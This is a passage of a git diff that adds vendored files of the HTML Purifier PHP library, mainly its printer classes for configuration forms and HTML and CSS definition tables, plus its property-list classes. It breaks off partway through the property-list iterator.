+ new HTMLPurifier_Token_Empty($tag, $attr)
+ );
+ }
+
+ /**
+ * @param string $text
+ * @return string
+ */
+ protected function text($text)
+ {
+ return $this->generator->generateFromToken(
+ new HTMLPurifier_Token_Text($text)
+ );
+ }
+
+ /**
+ * Prints a simple key/value row in a table.
+ * @param string $name Key
+ * @param mixed $value Value
+ * @return string
+ */
+ protected function row($name, $value)
+ {
+ if (is_bool($value)) {
+ $value = $value ? 'On' : 'Off';
+ }
+ return
+ $this->start('tr') . "\n" .
+ $this->element('th', $name) . "\n" .
+ $this->element('td', $value) . "\n" .
+ $this->end('tr');
+ }
+
+ /**
+ * Escapes a string for HTML output.
+ * @param string $string String to escape
+ * @return string
+ */
+ protected function escape($string)
+ {
+ $string = HTMLPurifier_Encoder::cleanUTF8($string);
+ $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8');
+ return $string;
+ }
+
+ /**
+ * Takes a list of strings and turns them into a single list
+ * @param string[] $array List of strings
+ * @param bool $polite Bool whether or not to add an end before the last
+ * @return string
+ */
+ protected function listify($array, $polite = false)
+ {
+ if (empty($array)) {
+ return 'None';
+ }
+ $ret = '';
+ $i = count($array);
+ foreach ($array as $value) {
+ $i--;
+ $ret .= $value;
+ if ($i > 0 && !($polite && $i == 1)) {
+ $ret .= ', ';
+ }
+ if ($polite && $i == 1) {
+ $ret .= 'and ';
+ }
+ }
+ return $ret;
+ }
+
+ /**
+ * Retrieves the class of an object without prefixes, as well as metadata
+ * @param object $obj Object to determine class of
+ * @param string $sec_prefix Further prefix to remove
+ * @return string
+ */
+ protected function getClass($obj, $sec_prefix = '')
+ {
+ static $five = null;
+ if ($five === null) {
+ $five = version_compare(PHP_VERSION, '5', '>=');
+ }
+ $prefix = 'HTMLPurifier_' . $sec_prefix;
+ if (!$five) {
+ $prefix = strtolower($prefix);
+ }
+ $class = str_replace($prefix, '', get_class($obj));
+ $lclass = strtolower($class);
+ $class .= '(';
+ switch ($lclass) {
+ case 'enum':
+ $values = array();
+ foreach ($obj->valid_values as $value => $bool) {
+ $values[] = $value;
+ }
+ $class .= implode(', ', $values);
+ break;
+ case 'css_composite':
+ $values = array();
+ foreach ($obj->defs as $def) {
+ $values[] = $this->getClass($def, $sec_prefix);
+ }
+ $class .= implode(', ', $values);
+ break;
+ case 'css_multiple':
+ $class .= $this->getClass($obj->single, $sec_prefix) . ', ';
+ $class .= $obj->max;
+ break;
+ case 'css_denyelementdecorator':
+ $class .= $this->getClass($obj->def, $sec_prefix) . ', ';
+ $class .= $obj->element;
+ break;
+ case 'css_importantdecorator':
+ $class .= $this->getClass($obj->def, $sec_prefix);
+ if ($obj->allow) {
+ $class .= ', !important';
+ }
+ break;
+ }
+ $class .= ')';
+ return $class;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php
new file mode 100644
index 000000000..29505fe12
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php
@@ -0,0 +1,44 @@
+<?php
+
+class HTMLPurifier_Printer_CSSDefinition extends HTMLPurifier_Printer
+{
+ /**
+ * @type HTMLPurifier_CSSDefinition
+ */
+ protected $def;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return string
+ */
+ public function render($config)
+ {
+ $this->def = $config->getCSSDefinition();
+ $ret = '';
+
+ $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer'));
+ $ret .= $this->start('table');
+
+ $ret .= $this->element('caption', 'Properties ($info)');
+
+ $ret .= $this->start('thead');
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Property', array('class' => 'heavy'));
+ $ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;'));
+ $ret .= $this->end('tr');
+ $ret .= $this->end('thead');
+
+ ksort($this->def->info);
+ foreach ($this->def->info as $property => $obj) {
+ $name = $this->getClass($obj, 'AttrDef_');
+ $ret .= $this->row($property, $name);
+ }
+
+ $ret .= $this->end('table');
+ $ret .= $this->end('div');
+
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css
new file mode 100644
index 000000000..3ff1a88aa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css
@@ -0,0 +1,10 @@
+
+.hp-config {}
+
+.hp-config tbody th {text-align:right; padding-right:0.5em;}
+.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;}
+.hp-config .namespace th {text-align:center;}
+.hp-config .verbose {display:none;}
+.hp-config .controls {text-align:center;}
+
+/* vim: et sw=4 sts=4 */
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js
new file mode 100644
index 000000000..cba00c9b8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js
@@ -0,0 +1,5 @@
+function toggleWriteability(id_of_patient, checked) {
+ document.getElementById(id_of_patient).disabled = checked;
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php
new file mode 100644
index 000000000..36100ce73
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php
@@ -0,0 +1,447 @@
+<?php
+
+/**
+ * @todo Rewrite to use Interchange objects
+ */
+class HTMLPurifier_Printer_ConfigForm extends HTMLPurifier_Printer
+{
+
+ /**
+ * Printers for specific fields.
+ * @type HTMLPurifier_Printer[]
+ */
+ protected $fields = array();
+
+ /**
+ * Documentation URL, can have fragment tagged on end.
+ * @type string
+ */
+ protected $docURL;
+
+ /**
+ * Name of form element to stuff config in.
+ * @type string
+ */
+ protected $name;
+
+ /**
+ * Whether or not to compress directive names, clipping them off
+ * after a certain amount of letters. False to disable or integer letters
+ * before clipping.
+ * @type bool
+ */
+ protected $compress = false;
+
+ /**
+ * @param string $name Form element name for directives to be stuffed into
+ * @param string $doc_url String documentation URL, will have fragment tagged on
+ * @param bool $compress Integer max length before compressing a directive name, set to false to turn off
+ */
+ public function __construct(
+ $name,
+ $doc_url = null,
+ $compress = false
+ ) {
+ parent::__construct();
+ $this->docURL = $doc_url;
+ $this->name = $name;
+ $this->compress = $compress;
+ // initialize sub-printers
+ $this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default();
+ $this->fields[HTMLPurifier_VarParser::BOOL] = new HTMLPurifier_Printer_ConfigForm_bool();
+ }
+
+ /**
+ * Sets default column and row size for textareas in sub-printers
+ * @param $cols Integer columns of textarea, null to use default
+ * @param $rows Integer rows of textarea, null to use default
+ */
+ public function setTextareaDimensions($cols = null, $rows = null)
+ {
+ if ($cols) {
+ $this->fields['default']->cols = $cols;
+ }
+ if ($rows) {
+ $this->fields['default']->rows = $rows;
+ }
+ }
+
+ /**
+ * Retrieves styling, in case it is not accessible by webserver
+ */
+ public static function getCSS()
+ {
+ return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css');
+ }
+
+ /**
+ * Retrieves JavaScript, in case it is not accessible by webserver
+ */
+ public static function getJavaScript()
+ {
+ return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js');
+ }
+
+ /**
+ * Returns HTML output for a configuration form
+ * @param HTMLPurifier_Config|array $config Configuration object of current form state, or an array
+ * where [0] has an HTML namespace and [1] is being rendered.
+ * @param array|bool $allowed Optional namespace(s) and directives to restrict form to.
+ * @param bool $render_controls
+ * @return string
+ */
+ public function render($config, $allowed = true, $render_controls = true)
+ {
+ if (is_array($config) && isset($config[0])) {
+ $gen_config = $config[0];
+ $config = $config[1];
+ } else {
+ $gen_config = $config;
+ }
+
+ $this->config = $config;
+ $this->genConfig = $gen_config;
+ $this->prepareGenerator($gen_config);
+
+ $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def);
+ $all = array();
+ foreach ($allowed as $key) {
+ list($ns, $directive) = $key;
+ $all[$ns][$directive] = $config->get($ns . '.' . $directive);
+ }
+
+ $ret = '';
+ $ret .= $this->start('table', array('class' => 'hp-config'));
+ $ret .= $this->start('thead');
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Directive', array('class' => 'hp-directive'));
+ $ret .= $this->element('th', 'Value', array('class' => 'hp-value'));
+ $ret .= $this->end('tr');
+ $ret .= $this->end('thead');
+ foreach ($all as $ns => $directives) {
+ $ret .= $this->renderNamespace($ns, $directives);
+ }
+ if ($render_controls) {
+ $ret .= $this->start('tbody');
+ $ret .= $this->start('tr');
+ $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls'));
+ $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit'));
+ $ret .= '[<a href="?">Reset</a>]';
+ $ret .= $this->end('td');
+ $ret .= $this->end('tr');
+ $ret .= $this->end('tbody');
+ }
+ $ret .= $this->end('table');
+ return $ret;
+ }
+
+ /**
+ * Renders a single namespace
+ * @param $ns String namespace name
+ * @param array $directives array of directives to values
+ * @return string
+ */
+ protected function renderNamespace($ns, $directives)
+ {
+ $ret = '';
+ $ret .= $this->start('tbody', array('class' => 'namespace'));
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', $ns, array('colspan' => 2));
+ $ret .= $this->end('tr');
+ $ret .= $this->end('tbody');
+ $ret .= $this->start('tbody');
+ foreach ($directives as $directive => $value) {
+ $ret .= $this->start('tr');
+ $ret .= $this->start('th');
+ if ($this->docURL) {
+ $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL);
+ $ret .= $this->start('a', array('href' => $url));
+ }
+ $attr = array('for' => "{$this->name}:$ns.$directive");
+
+ // crop directive name if it's too long
+ if (!$this->compress || (strlen($directive) < $this->compress)) {
+ $directive_disp = $directive;
+ } else {
+ $directive_disp = substr($directive, 0, $this->compress - 2) . '...';
+ $attr['title'] = $directive;
+ }
+
+ $ret .= $this->element(
+ 'label',
+ $directive_disp,
+ // component printers must create an element with this id
+ $attr
+ );
+ if ($this->docURL) {
+ $ret .= $this->end('a');
+ }
+ $ret .= $this->end('th');
+
+ $ret .= $this->start('td');
+ $def = $this->config->def->info["$ns.$directive"];
+ if (is_int($def)) {
+ $allow_null = $def < 0;
+ $type = abs($def);
+ } else {
+ $type = $def->type;
+ $allow_null = isset($def->allow_null);
+ }
+ if (!isset($this->fields[$type])) {
+ $type = 0;
+ } // default
+ $type_obj = $this->fields[$type];
+ if ($allow_null) {
+ $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj);
+ }
+ $ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config));
+ $ret .= $this->end('td');
+ $ret .= $this->end('tr');
+ }
+ $ret .= $this->end('tbody');
+ return $ret;
+ }
+
+}
+
+/**
+ * Printer decorator for directives that accept null
+ */
+class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer
+{
+ /**
+ * Printer being decorated
+ * @type HTMLPurifier_Printer
+ */
+ protected $obj;
+
+ /**
+ * @param HTMLPurifier_Printer $obj Printer to decorate
+ */
+ public function __construct($obj)
+ {
+ parent::__construct();
+ $this->obj = $obj;
+ }
+
+ /**
+ * @param string $ns
+ * @param string $directive
+ * @param string $value
+ * @param string $name
+ * @param HTMLPurifier_Config|array $config
+ * @return string
+ */
+ public function render($ns, $directive, $value, $name, $config)
+ {
+ if (is_array($config) && isset($config[0])) {
+ $gen_config = $config[0];
+ $config = $config[1];
+ } else {
+ $gen_config = $config;
+ }
+ $this->prepareGenerator($gen_config);
+
+ $ret = '';
+ $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive"));
+ $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose'));
+ $ret .= $this->text(' Null/Disabled');
+ $ret .= $this->end('label');
+ $attr = array(
+ 'type' => 'checkbox',
+ 'value' => '1',
+ 'class' => 'null-toggle',
+ 'name' => "$name" . "[Null_$ns.$directive]",
+ 'id' => "$name:Null_$ns.$directive",
+ 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!!
+ );
+ if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) {
+ // modify inline javascript slightly
+ $attr['onclick'] =
+ "toggleWriteability('$name:Yes_$ns.$directive',checked);" .
+ "toggleWriteability('$name:No_$ns.$directive',checked)";
+ }
+ if ($value === null) {
+ $attr['checked'] = 'checked';
+ }
+ $ret .= $this->elementEmpty('input', $attr);
+ $ret .= $this->text(' or ');
+ $ret .= $this->elementEmpty('br');
+ $ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config));
+ return $ret;
+ }
+}
+
+/**
+ * Swiss-army knife configuration form field printer
+ */
+class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer
+{
+ /**
+ * @type int
+ */
+ public $cols = 18;
+
+ /**
+ * @type int
+ */
+ public $rows = 5;
+
+ /**
+ * @param string $ns
+ * @param string $directive
+ * @param string $value
+ * @param string $name
+ * @param HTMLPurifier_Config|array $config
+ * @return string
+ */
+ public function render($ns, $directive, $value, $name, $config)
+ {
+ if (is_array($config) && isset($config[0])) {
+ $gen_config = $config[0];
+ $config = $config[1];
+ } else {
+ $gen_config = $config;
+ }
+ $this->prepareGenerator($gen_config);
+ // this should probably be split up a little
+ $ret = '';
+ $def = $config->def->info["$ns.$directive"];
+ if (is_int($def)) {
+ $type = abs($def);
+ } else {
+ $type = $def->type;
+ }
+ if (is_array($value)) {
+ switch ($type) {
+ case HTMLPurifier_VarParser::LOOKUP:
+ $array = $value;
+ $value = array();
+ foreach ($array as $val => $b) {
+ $value[] = $val;
+ }
+ //TODO does this need a break?
+ case HTMLPurifier_VarParser::ALIST:
+ $value = implode(PHP_EOL, $value);
+ break;
+ case HTMLPurifier_VarParser::HASH:
+ $nvalue = '';
+ foreach ($value as $i => $v) {
+ $nvalue .= "$i:$v" . PHP_EOL;
+ }
+ $value = $nvalue;
+ break;
+ default:
+ $value = '';
+ }
+ }
+ if ($type === HTMLPurifier_VarParser::MIXED) {
+ return 'Not supported';
+ $value = serialize($value);
+ }
+ $attr = array(
+ 'name' => "$name" . "[$ns.$directive]",
+ 'id' => "$name:$ns.$directive"
+ );
+ if ($value === null) {
+ $attr['disabled'] = 'disabled';
+ }
+ if (isset($def->allowed)) {
+ $ret .= $this->start('select', $attr);
+ foreach ($def->allowed as $val => $b) {
+ $attr = array();
+ if ($value == $val) {
+ $attr['selected'] = 'selected';
+ }
+ $ret .= $this->element('option', $val, $attr);
+ }
+ $ret .= $this->end('select');
+ } elseif ($type === HTMLPurifier_VarParser::TEXT ||
+ $type === HTMLPurifier_VarParser::ITEXT ||
+ $type === HTMLPurifier_VarParser::ALIST ||
+ $type === HTMLPurifier_VarParser::HASH ||
+ $type === HTMLPurifier_VarParser::LOOKUP) {
+ $attr['cols'] = $this->cols;
+ $attr['rows'] = $this->rows;
+ $ret .= $this->start('textarea', $attr);
+ $ret .= $this->text($value);
+ $ret .= $this->end('textarea');
+ } else {
+ $attr['value'] = $value;
+ $attr['type'] = 'text';
+ $ret .= $this->elementEmpty('input', $attr);
+ }
+ return $ret;
+ }
+}
+
+/**
+ * Bool form field printer
+ */
+class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer
+{
+ /**
+ * @param string $ns
+ * @param string $directive
+ * @param string $value
+ * @param string $name
+ * @param HTMLPurifier_Config|array $config
+ * @return string
+ */
+ public function render($ns, $directive, $value, $name, $config)
+ {
+ if (is_array($config) && isset($config[0])) {
+ $gen_config = $config[0];
+ $config = $config[1];
+ } else {
+ $gen_config = $config;
+ }
+ $this->prepareGenerator($gen_config);
+ $ret = '';
+ $ret .= $this->start('div', array('id' => "$name:$ns.$directive"));
+
+ $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive"));
+ $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose'));
+ $ret .= $this->text(' Yes');
+ $ret .= $this->end('label');
+
+ $attr = array(
+ 'type' => 'radio',
+ 'name' => "$name" . "[$ns.$directive]",
+ 'id' => "$name:Yes_$ns.$directive",
+ 'value' => '1'
+ );
+ if ($value === true) {
+ $attr['checked'] = 'checked';
+ }
+ if ($value === null) {
+ $attr['disabled'] = 'disabled';
+ }
+ $ret .= $this->elementEmpty('input', $attr);
+
+ $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive"));
+ $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose'));
+ $ret .= $this->text(' No');
+ $ret .= $this->end('label');
+
+ $attr = array(
+ 'type' => 'radio',
+ 'name' => "$name" . "[$ns.$directive]",
+ 'id' => "$name:No_$ns.$directive",
+ 'value' => '0'
+ );
+ if ($value === false) {
+ $attr['checked'] = 'checked';
+ }
+ if ($value === null) {
+ $attr['disabled'] = 'disabled';
+ }
+ $ret .= $this->elementEmpty('input', $attr);
+
+ $ret .= $this->end('div');
+
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php
new file mode 100644
index 000000000..5f2f2f8a7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php
@@ -0,0 +1,324 @@
+<?php
+
+class HTMLPurifier_Printer_HTMLDefinition extends HTMLPurifier_Printer
+{
+
+ /**
+ * @type HTMLPurifier_HTMLDefinition, for easy access
+ */
+ protected $def;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return string
+ */
+ public function render($config)
+ {
+ $ret = '';
+ $this->config =& $config;
+
+ $this->def = $config->getHTMLDefinition();
+
+ $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer'));
+
+ $ret .= $this->renderDoctype();
+ $ret .= $this->renderEnvironment();
+ $ret .= $this->renderContentSets();
+ $ret .= $this->renderInfo();
+
+ $ret .= $this->end('div');
+
+ return $ret;
+ }
+
+ /**
+ * Renders the Doctype table
+ * @return string
+ */
+ protected function renderDoctype()
+ {
+ $doctype = $this->def->doctype;
+ $ret = '';
+ $ret .= $this->start('table');
+ $ret .= $this->element('caption', 'Doctype');
+ $ret .= $this->row('Name', $doctype->name);
+ $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No');
+ $ret .= $this->row('Default Modules', implode($doctype->modules, ', '));
+ $ret .= $this->row('Default Tidy Modules', implode($doctype->tidyModules, ', '));
+ $ret .= $this->end('table');
+ return $ret;
+ }
+
+
+ /**
+ * Renders environment table, which is miscellaneous info
+ * @return string
+ */
+ protected function renderEnvironment()
+ {
+ $def = $this->def;
+
+ $ret = '';
+
+ $ret .= $this->start('table');
+ $ret .= $this->element('caption', 'Environment');
+
+ $ret .= $this->row('Parent of fragment', $def->info_parent);
+ $ret .= $this->renderChildren($def->info_parent_def->child);
+ $ret .= $this->row('Block wrap name', $def->info_block_wrapper);
+
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Global attributes');
+ $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr), null, 0);
+ $ret .= $this->end('tr');
+
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Tag transforms');
+ $list = array();
+ foreach ($def->info_tag_transform as $old => $new) {
+ $new = $this->getClass($new, 'TagTransform_');
+ $list[] = "<$old> with $new";
+ }
+ $ret .= $this->element('td', $this->listify($list));
+ $ret .= $this->end('tr');
+
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Pre-AttrTransform');
+ $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre));
+ $ret .= $this->end('tr');
+
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Post-AttrTransform');
+ $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post));
+ $ret .= $this->end('tr');
+
+ $ret .= $this->end('table');
+ return $ret;
+ }
+
+ /**
+ * Renders the Content Sets table
+ * @return string
+ */
+ protected function renderContentSets()
+ {
+ $ret = '';
+ $ret .= $this->start('table');
+ $ret .= $this->element('caption', 'Content Sets');
+ foreach ($this->def->info_content_sets as $name => $lookup) {
+ $ret .= $this->heavyHeader($name);
+ $ret .= $this->start('tr');
+ $ret .= $this->element('td', $this->listifyTagLookup($lookup));
+ $ret .= $this->end('tr');
+ }
+ $ret .= $this->end('table');
+ return $ret;
+ }
+
+ /**
+ * Renders the Elements ($info) table
+ * @return string
+ */
+ protected function renderInfo()
+ {
+ $ret = '';
+ $ret .= $this->start('table');
+ $ret .= $this->element('caption', 'Elements ($info)');
+ ksort($this->def->info);
+ $ret .= $this->heavyHeader('Allowed tags', 2);
+ $ret .= $this->start('tr');
+ $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2));
+ $ret .= $this->end('tr');
+ foreach ($this->def->info as $name => $def) {
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', "<$name>", array('class' => 'heavy', 'colspan' => 2));
+ $ret .= $this->end('tr');
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Inline content');
+ $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No');
+ $ret .= $this->end('tr');
+ if (!empty($def->excludes)) {
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Excludes');
+ $ret .= $this->element('td', $this->listifyTagLookup($def->excludes));
+ $ret .= $this->end('tr');
+ }
+ if (!empty($def->attr_transform_pre)) {
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Pre-AttrTransform');
+ $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre));
+ $ret .= $this->end('tr');
+ }
+ if (!empty($def->attr_transform_post)) {
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Post-AttrTransform');
+ $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post));
+ $ret .= $this->end('tr');
+ }
+ if (!empty($def->auto_close)) {
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Auto closed by');
+ $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close));
+ $ret .= $this->end('tr');
+ }
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', 'Allowed attributes');
+ $ret .= $this->element('td', $this->listifyAttr($def->attr), array(), 0);
+ $ret .= $this->end('tr');
+
+ if (!empty($def->required_attr)) {
+ $ret .= $this->row('Required attributes', $this->listify($def->required_attr));
+ }
+
+ $ret .= $this->renderChildren($def->child);
+ }
+ $ret .= $this->end('table');
+ return $ret;
+ }
+
+ /**
+ * Renders a row describing the allowed children of an element
+ * @param HTMLPurifier_ChildDef $def HTMLPurifier_ChildDef of pertinent element
+ * @return string
+ */
+ protected function renderChildren($def)
+ {
+ $context = new HTMLPurifier_Context();
+ $ret = '';
+ $ret .= $this->start('tr');
+ $elements = array();
+ $attr = array();
+ if (isset($def->elements)) {
+ if ($def->type == 'strictblockquote') {
+ $def->validateChildren(array(), $this->config, $context);
+ }
+ $elements = $def->elements;
+ }
+ if ($def->type == 'chameleon') {
+ $attr['rowspan'] = 2;
+ } elseif ($def->type == 'empty') {
+ $elements = array();
+ } elseif ($def->type == 'table') {
+ $elements = array_flip(
+ array(
+ 'col',
+ 'caption',
+ 'colgroup',
+ 'thead',
+ 'tfoot',
+ 'tbody',
+ 'tr'
+ )
+ );
+ }
+ $ret .= $this->element('th', 'Allowed children', $attr);
+
+ if ($def->type == 'chameleon') {
+
+ $ret .= $this->element(
+ 'td',
+ '<em>Block</em>: ' .
+ $this->escape($this->listifyTagLookup($def->block->elements)),
+ null,
+ 0
+ );
+ $ret .= $this->end('tr');
+ $ret .= $this->start('tr');
+ $ret .= $this->element(
+ 'td',
+ '<em>Inline</em>: ' .
+ $this->escape($this->listifyTagLookup($def->inline->elements)),
+ null,
+ 0
+ );
+
+ } elseif ($def->type == 'custom') {
+
+ $ret .= $this->element(
+ 'td',
+ '<em>' . ucfirst($def->type) . '</em>: ' .
+ $def->dtd_regex
+ );
+
+ } else {
+ $ret .= $this->element(
+ 'td',
+ '<em>' . ucfirst($def->type) . '</em>: ' .
+ $this->escape($this->listifyTagLookup($elements)),
+ null,
+ 0
+ );
+ }
+ $ret .= $this->end('tr');
+ return $ret;
+ }
+
+ /**
+ * Listifies a tag lookup table.
+ * @param array $array Tag lookup array in form of array('tagname' => true)
+ * @return string
+ */
+ protected function listifyTagLookup($array)
+ {
+ ksort($array);
+ $list = array();
+ foreach ($array as $name => $discard) {
+ if ($name !== '#PCDATA' && !isset($this->def->info[$name])) {
+ continue;
+ }
+ $list[] = $name;
+ }
+ return $this->listify($list);
+ }
+
+ /**
+ * Listifies a list of objects by retrieving class names and internal state
+ * @param array $array List of objects
+ * @return string
+ * @todo Also add information about internal state
+ */
+ protected function listifyObjectList($array)
+ {
+ ksort($array);
+ $list = array();
+ foreach ($array as $obj) {
+ $list[] = $this->getClass($obj, 'AttrTransform_');
+ }
+ return $this->listify($list);
+ }
+
+ /**
+ * Listifies a hash of attributes to AttrDef classes
+ * @param array $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef)
+ * @return string
+ */
+ protected function listifyAttr($array)
+ {
+ ksort($array);
+ $list = array();
+ foreach ($array as $name => $obj) {
+ if ($obj === false) {
+ continue;
+ }
+ $list[] = "$name&nbsp;=&nbsp;<i>" . $this->getClass($obj, 'AttrDef_') . '</i>';
+ }
+ return $this->listify($list);
+ }
+
+ /**
+ * Creates a heavy header row
+ * @param string $text
+ * @param int $num
+ * @return string
+ */
+ protected function heavyHeader($text, $num = 1)
+ {
+ $ret = '';
+ $ret .= $this->start('tr');
+ $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy'));
+ $ret .= $this->end('tr');
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php
new file mode 100644
index 000000000..189348fd9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php
@@ -0,0 +1,122 @@
+<?php
+
+/**
+ * Generic property list implementation
+ */
+class HTMLPurifier_PropertyList
+{
+ /**
+ * Internal data-structure for properties.
+ * @type array
+ */
+ protected $data = array();
+
+ /**
+ * Parent plist.
+ * @type HTMLPurifier_PropertyList
+ */
+ protected $parent;
+
+ /**
+ * Cache.
+ * @type array
+ */
+ protected $cache;
+
+ /**
+ * @param HTMLPurifier_PropertyList $parent Parent plist
+ */
+ public function __construct($parent = null)
+ {
+ $this->parent = $parent;
+ }
+
+ /**
+ * Recursively retrieves the value for a key
+ * @param string $name
+ * @throws HTMLPurifier_Exception
+ */
+ public function get($name)
+ {
+ if ($this->has($name)) {
+ return $this->data[$name];
+ }
+ // possible performance bottleneck, convert to iterative if necessary
+ if ($this->parent) {
+ return $this->parent->get($name);
+ }
+ throw new HTMLPurifier_Exception("Key '$name' not found");
+ }
+
+ /**
+ * Sets the value of a key, for this plist
+ * @param string $name
+ * @param mixed $value
+ */
+ public function set($name, $value)
+ {
+ $this->data[$name] = $value;
+ }
+
+ /**
+ * Returns true if a given key exists
+ * @param string $name
+ * @return bool
+ */
+ public function has($name)
+ {
+ return array_key_exists($name, $this->data);
+ }
+
+ /**
+ * Resets a value to the value of it's parent, usually the default. If
+ * no value is specified, the entire plist is reset.
+ * @param string $name
+ */
+ public function reset($name = null)
+ {
+ if ($name == null) {
+ $this->data = array();
+ } else {
+ unset($this->data[$name]);
+ }
+ }
+
+ /**
+ * Squashes this property list and all of its property lists into a single
+ * array, and returns the array. This value is cached by default.
+ * @param bool $force If true, ignores the cache and regenerates the array.
+ * @return array
+ */
+ public function squash($force = false)
+ {
+ if ($this->cache !== null && !$force) {
+ return $this->cache;
+ }
+ if ($this->parent) {
+ return $this->cache = array_merge($this->parent->squash($force), $this->data);
+ } else {
+ return $this->cache = $this->data;
+ }
+ }
+
+ /**
+ * Returns the parent plist.
+ * @return HTMLPurifier_PropertyList
+ */
+ public function getParent()
+ {
+ return $this->parent;
+ }
+
+ /**
+ * Sets the parent plist.
+ * @param HTMLPurifier_PropertyList $plist Parent plist
+ */
+ public function setParent($plist)
+ {
+ $this->parent = $plist;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php
new file mode 100644
index 000000000..15b330ea3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Property list iterator. Do not instantiate this class directly.
+ */
+class HTMLPurifier_PropertyListIterator extends FilterIterator
+{
+
+ /**
+ * @type int
+ */
+ protected $l;
+ /**
+ * @type string
+ */
+ protected $filter;
+
+ /**
+ * @param Iterator $iterator Array of data to iterate over
+ * @param string $filter Optional prefix to only allow values of
+ */
+ public function __construct(Iterator $iterator, $filter = null)
+ {
+ parent::__construct($iterator);
+ $this->l = strlen($filter);
+ $this->filter = $filter;
+ }
+
+ /**
+ * @return bool
+ */
+ public function accept()
+ {
+ $key = $this->getInnerIterator()->key();
